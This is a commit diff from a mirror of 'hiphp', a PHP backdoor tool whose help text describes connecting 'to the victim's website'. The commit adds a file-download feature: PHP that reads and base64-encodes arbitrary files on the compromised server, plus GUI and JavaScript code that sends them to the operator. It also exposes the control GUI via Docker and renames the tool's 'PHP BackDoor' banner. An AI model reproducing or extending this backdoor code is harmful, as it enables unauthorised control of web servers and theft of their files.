Projects STRLCPY hiphp Commits 818b6531
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■ ■
    CHANGELOG
     1 +## 0.2.26 [xx-xx-2022][In Progress]
     2 + - Upgraded Docker files in order to be able to work from outside the container.
     3 + - Add download option in hiphp_desktop.
     4 + - Bug fixes & performance improvements.
     5 +
    1 6  ## 0.2.25 [03-09-2022][Last Version]
    2 7   - Fix "--down" command on windows os.
    3 8   - Color correction in the command line interface on windows os.
    skipped 128 lines
  • ■ ■ ■ ■ ■ ■
    Dockerfile
    skipped 10 lines
    11 11   
    12 12  ######## local build & run:
    13 13  # docker build -t hiphp:latest .
     14 +# Run as CLI:
    14 15  # docker run -e KEY="<KEY>" -e URL="<URL>" -i -t hiphp:latest
     16 +# Run as GUI:
     17 +# docker run -e DST="True" --rm -p 127.0.0.1:8080:8080 -i -t hiphp:latest
    15 18   
    16 19  ######## docker.io pull, build & run:
    17 20  # docker pull docker.io/yasserbdj96/hiphp:latest
    18 21  # docker build -t docker.io/yasserbdj96/hiphp:latest .
     22 +# Run as CLI:
    19 23  # docker run -e KEY="<KEY>" -e URL="<URL>" -i -t docker.io/yasserbdj96/hiphp:latest
     24 +# Run as GUI:
     25 +# docker run -e DST="True" --rm -p 127.0.0.1:8080:8080 -i -t docker.io/yasserbdj96/hiphp:latest
    20 26   
    21 27  ######## ghcr.io pull, build & run:
    22 28  # docker pull ghcr.io/yasserbdj96/hiphp:latest
    23 29  # docker build -t ghcr.io/yasserbdj96/hiphp:latest .
     30 +# Run as CLI:
    24 31  # docker run -e KEY="<KEY>" -e URL="<URL>" -i -t ghcr.io/yasserbdj96/hiphp:latest
    25  - 
     32 +# Run as GUI:
     33 +# docker run -e DST="True" --rm -p 127.0.0.1:8080:8080 -i -t ghcr.io/yasserbdj96/hiphp:latest
    26 34   
    27 35  #START{
    28 36  FROM python:3.10
    29 37   
     38 + 
     39 +# start install google-chrome:
     40 +# Adding trusting keys to apt for repositories
     41 +RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -
     42 + 
     43 +# Adding Google Chrome to the repositories
     44 +RUN sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'
     45 + 
     46 +# Updating apt to see and install Google Chrome
     47 +RUN apt-get -y update
     48 + 
     49 +# Magic happens
     50 +RUN apt-get install -y google-chrome-stable
     51 + 
     52 +# Installing Unzip
     53 +RUN apt-get install -yqq unzip
     54 + 
     55 +# Download the Chrome Driver
     56 +RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -
     57 +RUN sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'
     58 +RUN apt-get -y update
     59 +RUN apt-get install -y google-chrome-stable
     60 + 
     61 +# install chromedriver
     62 +RUN apt-get install -yqq unzip
     63 +RUN wget -O /tmp/chromedriver.zip http://chromedriver.storage.googleapis.com/`curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE`/chromedriver_linux64.zip
     64 +RUN unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/
     65 +# end install google-chrome.
     66 + 
    30 67  WORKDIR /wrdir
    31 68   
    32 69  COPY ./run.py /wrdir
    33 70  COPY ./hiphp /wrdir/hiphp
     71 +COPY ./tools/hiphp_desktop /wrdir
    34 72  COPY ./requirements.txt /wrdir/requirements.txt
     73 +COPY ./tools/hiphp_desktop/requirements.txt /wrdir/requirements-dst.txt
    35 74  #COPY ./config_file.json /wrdir/config_file.json
    36 75   
    37 76  RUN pip install --no-cache-dir --upgrade pip
    38 77  RUN pip install --no-cache-dir --upgrade -r /wrdir/requirements.txt
     78 +RUN pip install --no-cache-dir --upgrade -r /wrdir/requirements-dst.txt
     79 + 
     80 +EXPOSE 8080
    39 81   
    40 82  CMD ["python", "run.py"]
    41 83  #}END.
  • hiphp/__init__.py
    Content is identical
  • ■ ■ ■ ■ ■
    hiphp/hiphplogo.py
    skipped 24 lines
    25 25   color=hexor(True,"hex")
    26 26   
    27 27   spas=" "*5
    28  - code_by=color.c("A PHP BackDoor by ",c_yellow)+color.c("yasserbdj96",c_green)
     28 + code_by=color.c("¢σє ву ",c_yellow)+color.c("yasserbdj96",c_green)
    29 29   logo+=color.c(f"""
    30 30  {spas} ▄███████▄ ▄█ █▄ ▄███████▄
    31 31  {spas} ███ ███ ███ ███ ███ ███
    skipped 17 lines
    49 49  except:
    50 50   pass
    51 51  #}END.
     52 + 
  • ■ ■ ■ ■ ■ ■
    hiphp/hiphpphpfunctions.py
    skipped 95 lines
    96 96  def file_to_b64(path):
    97 97   code="""
    98 98  $file='"""+path+"""';
    99  -$fp = fopen($file, "rb");
    100  -$binary = fread($fp, filesize($file));
     99 +$fp=fopen($file, "rb");
     100 +$binary=fread($fp,filesize($file));
    101 101  echo base64_encode($binary);"""
    102 102   return code
    103 103   
    skipped 72 lines
  • ■ ■ ■ ■
    hiphp/hiphpversion.py
    skipped 11 lines
    12 12  # | |
    13 13   
    14 14  #START{
    15  -__version__="0.2.25"
     15 +__version__="0.2.26"
    16 16  #}END.
  • hiphp-site/favicon.ico
  • ■ ■ ■ ■ ■
    hiphp-site/index.html
    1  -<h1>soon</h1>
    2  - 
     1 +<!--DOCTYPE html-->
     2 +<html>
     3 + <head>
     4 + <!-- code by : yasserbdj96 -->
     5 + <!-- email : [email protected] -->
     6 + <title>Soon</title>
     7 + <link rel="icon" href="./favicon.ico">
     8 + </head>
     9 + <body>
     10 + <h1 style="text-align: center;">Hiphp website will be launched soon.</h1>
     11 + </body>
     12 +</html>
  • install/hiphp.png
  • ■ ■ ■ ■ ■ ■
    install/hiphp.sh
    skipped 15 lines
    16 16   python3 "/usr/share/hiphp/hiphp/hiphplogo.py" "ok_view";
    17 17   echo "Usage: hiphp [OPTION]";
    18 18   echo "";
    19  - echo "ex: > hiphp --help | # hiphp cli help.";
    20  - echo " > hiphp --geth [KEY] [URL] | # Get the hole Code.";
    21  - echo " > hiphp [KEY] [URL] | # Connect to the victim's website.";
    22  - echo " > hiphp --ftp [KEY] [URL] | # Run hiphp as GUI in 'hiphp_ftp' script.";
    23  - echo " > hiphp --dst | # Run hiphp as GUI in 'hiphp_desktop' script.";
     19 + echo "ex: hiphp --help | # hiphp cli help.";
     20 + echo " hiphp --geth [KEY] [URL] | # Get the hole Code.";
     21 + echo " hiphp [KEY] [URL] | # Connect to the victim's website.";
     22 + echo " hiphp --ftp [KEY] [URL] | # Run hiphp as GUI with 'tools/hiphp_ftp' script.";
     23 + echo " hiphp --dst | # Run hiphp as GUI with 'tools/hiphp_desktop' script.";
    24 24   
    25 25  #cli help:
    26 26  elif [ "$1" == "--help" ] ; then
    skipped 19 lines
  • ■ ■ ■ ■ ■ ■
    run.py
    skipped 14 lines
    15 15  from hiphp import *
    16 16   
    17 17  try:
     18 + #
    18 19   import os
    19 20   import sys
    20 21   #
     22 + try:
     23 + DST=os.environ['DST'] if "DST" in os.environ else False
     24 + if DST!=False:
     25 + os.system("python main.py")
     26 + exit()
     27 + except:
     28 + pass
     29 + #
    21 30   URL = os.environ['URL'] if "URL" in os.environ else sys.argv[2]
    22 31   KEY = os.environ['KEY'] if "KEY" in os.environ else sys.argv[1]
    23  -except Exception as e:
     32 + 
     33 +except:
    24 34   print(f"USAGE : python3 {sys.argv[0]} <KEY> <URL>")
    25 35   exit()
    26 36   #pass
    skipped 13 lines
  • screenshot/screenshot.png
  • screenshot/screenshot0.png
  • screenshot/screenshot2.png
  • screenshot/screenshot3.png
  • screenshot/screenshot4.png
  • ■ ■ ■ ■ ■ ■
    tools/hiphp_desktop/main.py
    skipped 85 lines
    86 86   p1=hiphp(key,url,retu=True)
    87 87   return p1.run(php_permi(path,permi))
    88 88   
    89  -eel.start("index.html",host="127.0.0.2",port=96,size=(850,400))
     89 +#down_from_path:
     90 +@eel.expose
     91 +def download_file(key,url,path):
     92 + p1=hiphp(key,url,retu=True)
     93 + return p1.run(down_from_path(path))
     94 + 
     95 +host_ip="0.0.0.0"
     96 +host_port=8080
     97 + 
     98 +print(f"local link: {host_ip}:{host_port}")
     99 + 
     100 +eel.start("index.html",host=host_ip,port=host_port,size=(850,400))
    90 101  #}END.
    91 102   
  • tools/hiphp_desktop/screenshot/screenshot.png
  • tools/hiphp_desktop/screenshot/screenshot1.png
  • tools/hiphp_desktop/screenshot/screenshot2.png
  • tools/hiphp_desktop/src/hiphp_logo.png
  • ■ ■ ■ ■ ■
    tools/hiphp_desktop/src/index.html
    skipped 40 lines
    41 41   <input type="button" value="Login" onclick="connect()"><br>
    42 42   <div class="version" id="version"></div>
    43 43   </div>
    44  -
    45 44   </body>
    46 45  </html>
    47 46   
  • ■ ■ ■ ■ ■ ■
    tools/hiphp_desktop/src/php.py
    skipped 105 lines
    106 106  die();"""
    107 107   return x
    108 108  '''
     109 +#
     110 +def down_from_path(path):
     111 + x=f"""
     112 +$cont=base64_encode(file_get_contents('{path}'));
     113 +$type=mime_content_type('{path}');
     114 +$file=basename('{path}');
     115 +$cont_type=array("file"=>$file,"type"=>$type,"cont"=>$cont);
     116 +echo json_encode($cont_type);"""
     117 + return x
    109 118  #}END.
  • ■ ■ ■ ■ ■ ■
    tools/hiphp_desktop/src/script.js
    skipped 40 lines
    41 41   var edit='<a class="pointer" onclick="cat('+"'"+pathxx+"'"+')">📝</a>'+s;
    42 42   var del='<a class="pointer" onclick="del('+"'"+pathxx+"'"+')">❌</a>'+s;
    43 43   var ren='<a class="pointer" onclick="ren('+"'"+pathxx+"'"+')">✏️</a>'+s;
     44 + var down='<a class="pointer" onclick="download_file('+"'"+pathxx+"'"+')">📥</a>'+s;
    44 45   var check='<input type="checkbox">';
    45 46   //var down='<a class="pointer" onclick="down('+"'"+pathxx+"'"+')">dddd</a>'+s;
    46  - ls+='<tr><td>'+check+" "+img_icon+pathxx+'</td><td>'+permxx+'</td><td>'+edit+ren+del+'</td></tr>';
     47 + ls+='<tr><td>'+check+" "+img_icon+pathxx+'</td><td>'+permxx+'</td><td>'+edit+ren+down+del+'</td></tr>';
    47 48   }
    48 49   document.getElementById("ls").innerHTML=ls;
    49 50   })
    skipped 125 lines
    175 176   }
    176 177   )
    177 178   }
     179 +}
     180 + 
     181 +//download:
     182 +function download_file(path){
     183 + var key=document.getElementById("key").value;
     184 + var url=document.getElementById("url").value;
     185 + if(path!=null && path!=""){
     186 + eel.download_file(key,url,path)(
     187 + function(retu){
     188 + //download("x.txt",retu)
     189 + const obj = JSON.parse(retu);
     190 + 
     191 + //console.log(obj.file);
     192 + 
     193 + 
     194 + download(obj.file,obj.cont,obj.type)
     195 + connect();
     196 + }
     197 + )
     198 + }
     199 +}
     200 + 
     201 +function download(filename, text,mime_content_type){
     202 + var element = document.createElement('a');
     203 + element.setAttribute('href', 'data:'+mime_content_type+';charset=utf-8,' + encodeURIComponent(atob(text)));
     204 + element.setAttribute('download', filename);
     205 +
     206 + element.style.display = 'none';
     207 + document.body.appendChild(element);
     208 +
     209 + element.click();
     210 +
     211 + document.body.removeChild(element);
    178 212  }
    179 213   
    180 214  //version:
    skipped 26 lines
  • ■ ■ ■ ■ ■
    tools/hiphp_desktop/src/style.css
    skipped 180 lines
    181 181   bottom: -250px;
    182 182   width: 100%;
    183 183   font-size: 10px;
     184 + display: none;
    184 185  }
    185 186  /*}END.*/
  • tools/hiphp_ftp/screenshot/screenshot.png
  • ■ ■ ■ ■
    version.txt
    1  -0.2.25
     1 +0.2.26
Please wait...
Page is in error, reload to recover